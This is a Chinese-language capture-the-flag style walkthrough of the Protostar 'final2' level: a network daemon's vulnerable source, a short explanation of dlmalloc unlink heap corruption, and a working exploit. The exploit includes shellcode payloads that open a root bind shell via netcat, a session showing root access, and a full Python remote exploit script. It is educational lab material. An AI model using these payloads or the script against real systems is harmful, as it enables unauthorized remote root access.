Core files will be in /tmp.<div style="margin-bottom: 10px; color: rgb(153, 153, 153); font-family: "Droid Sans', sans-serif; font-size: 14px; line-height: 20px; background-color: rgb(18, 20, 23);">This level is at /opt/protostar/bin/final2<h2 style="margin: 10px 0px; font-family: "Droid Sans', sans-serif; font-weight: normal; line-height: 40px; color: rgb(255, 255, 255); text-rendering: optimizelegibility; font-size: 31.5px; background-color: rgb(18, 20, 23);">Source code

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
char *start;
char *p;
int l;

/*
* Work out old software bug
*/

p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}

int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;

dll = 0;
while(1) {
if(dll >= 255) break;

buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;

if(strncmp(buf, "FSRD", 4) != 0) break;

check_path(buf + 4);

dll++;
}

for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *username;

/* Run the process as a daemon */
background_process(NAME, UID, GID);

/* Wait for socket activity and return */
fd = serve_forever(PORT);

/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);

get_requests(fd);

}

Final2花了我不少时间,因为之前没有接触过“堆腐烂”这么高深的技术,最后找了本《缓冲区溢出***——检测、剖析与预防》补习才勉强知道 dlmalloc是个什么货色。现简单讲下基本的东东:
在内存中堆的位置如下图: 151908428.jpg
堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小
152717985.jpg
当使用free()释放数据块时会调用unlink()宏:
152844716.jpg
实际上执行的操作就是:
*(P->fd+12)=P->bk;
*(P->bk+8)=P->fd
数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!

啰嗦了一大堆现开始进入正题。
通过分析题目可得在查找“/”时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993
通过查看调试文件可以得到:
(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594
有点像heap3是不?
再看看“A"的位置在哪里:
(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141

这里我们选择覆盖write()的地址,write()的地址是:
user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite

现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。
因此生成的payload应该是这样的
[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+<span style="background-color: rgb(255, 255, 255); color: rgb(51, 51, 51); font-family: "Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px;">'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']
如下:
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK
远程连接测试:
D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
OK!
同样,写一份远程EXP,Python脚本如下:
#!/usr/bin/env python

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):

# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload

s.send(first_req+second_req)

s.close

print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")

if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")

(options, args) = parser.parse_args()

exploit(options.hostname, options.portnum)